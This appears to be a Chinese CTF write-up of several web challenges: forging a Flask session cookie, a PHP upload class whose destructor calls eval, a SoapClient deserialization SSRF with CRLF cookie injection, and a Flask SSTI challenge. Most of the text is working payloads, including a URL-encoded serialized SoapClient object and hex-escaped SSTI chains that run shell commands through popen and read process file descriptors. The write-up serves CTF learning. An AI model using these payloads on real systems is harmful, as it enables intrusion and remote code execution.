if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
python flask_session.py encode -s ‘102.787116078’ -t “{‘username’:b’fuck’}”
注:flask-unsign
我试了好几次,我自己搞不出来
[GXYCTF2019]BabysqliV3.0
用户名填其他的都显示no user,admin的话显示pass wrong。因该就是要搞出来密码
然后看了一圈没发现啥特别有用的提示,怀疑是弱密码
ok admin是账户 密码是password
进入:
file=php://filter/convert.base64-encode/resource=home
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
随便上传一个文件:
沙箱是这么来的:
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$this->Filename = $sandbox.$_SESSION['user'].$ext;
ok
但是又有个
$uploader = new Uploader();
所以在echo $uploader
的时候会直接调用_toString方法,
那我们直接让Filename=/var/www/html/flag.php就可以file_get_contents
bestphp’s revenge
session反序列化
然后目录扫描到flag.php
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
要求有两个:本地127.0.0.1和flag=$flag
不是很会,
意思是访问者的IP地址要为127.0.0.1,如何为真则将flag的内容存储到SESSION[flag]中去,之后我们就可以通过携带正确的session去获得flag的value(vardump($_SESSION)–显示出flag的value),那么我们需要SSRF漏洞来实现.
那么我们需要SSRF那么就可以用SoapClient去实现,我们可以调用SoapClient类不存在的方法,从而调用它的_call方法,去实现对其内部定义的location地址的访问(自己访问自己).
首先我们要定义这个类并且控制其内容,之后调用一个它不存在的方法,同时注意要存在正确的session(通过CRLF漏洞实现),最后通过携带正确的session的value去获取该session所储存在服务器的key-value
脚本:
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo "|".urlencode($se);
但是这个脚本运行需要php.ini里的 php_soap.dll 前面的分号去掉
我ini里面没有找到这个?
只能先用其他人的payload了
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后:
通过变量覆盖,调用SoapClient类,从而触发__call 方法
传值f=extract&name=SoapClient POST:b=call_user_func. 这样 call_user_func($b,$a)就变成call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF
最后改session:
[pasecactf_2019]flask_ssti
pid进程/fd读取os.remove
def encode(line, key, key2):
return ‘’.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config[‘flag’] = encode(’’, ‘GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34’, ‘xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5’)
flask ssti
这里 ’ . _ 被ban了,然后可以用16进制绕
__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}
然后
{{**class**.**bases**[0].**subclasses**()[127].**init**.**globals**.["popen"]("ls").read()}}
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}
发现没有啥flag,推测在app.py中加密了
这个直接给ai跑就可以了,但是我们看到有个os.remove,也就是删除了/app/flag
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls /proc/self/fd")["read"]()}}
用get_data读
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
这里我用的payload不是从flask里读的,所以/proc/self指向的不是flask,所以我们可以先看看flask的进程是哪个
先看看pid:
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ps")["read"]()}}
然后就可以用cat 了
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("tac /proc/1/fd/3")["read"]()}}